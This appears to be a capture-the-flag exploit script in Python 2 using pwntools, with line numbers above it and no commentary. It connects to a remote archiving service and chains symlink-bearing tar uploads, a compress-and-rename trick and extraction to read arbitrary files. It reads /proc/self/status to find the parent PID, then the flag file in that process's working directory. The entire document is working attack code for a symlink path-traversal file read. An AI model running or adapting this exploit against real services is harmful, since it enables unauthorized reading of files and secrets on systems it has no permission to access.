1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * import os sh = remote('47.104.178.87',35360)
def upload(content): sh.sendlineafter('>','u') sh.sendlineafter('Content:',content) sh.recvuntil('File uploaded as /tmp/') return sh.recvuntil('\n',drop = True)
def compress(name,rename=''): sh.sendlineafter('>','c') sh.sendlineafter('Filename: /tmp/',name) if rename == '': sh.sendlineafter('Rename archive file? [y/N]','N') else: sh.sendlineafter('Rename archive file? [y/N]','y') print 'rename',rename sh.sendlineafter('Arcname:',rename) sh.recvuntil('File compressed as ') return sh.recvuntil('\n',drop = True)
def extract(name): sh.sendlineafter('>','x') sh.sendlineafter('Filename:',name)
def readf(name): sh.sendlineafter('>','r') sh.sendlineafter('Filename:',name)
def watch(file): os.system('rm -r ff') os.system('ln -s {} ff'.format(file)) os.system('tar -cvpf ff.tar ff')
f = open('ff.tar','rb') content = f.read() f.close() a = upload(content)
b = upload('haivk') b_c = compress(b)
a_c = compress(a,b_c) extract(a_c)
extract(b_c)
compress(a,'ff') readf('ff')
watch('/proc/self/status') sh.recvuntil('PPid:') ppid = int(sh.recvuntil('\n',drop = True)) print ppid watch('/proc/{}/cwd/flag'.format(ppid))
sh.interactive()
|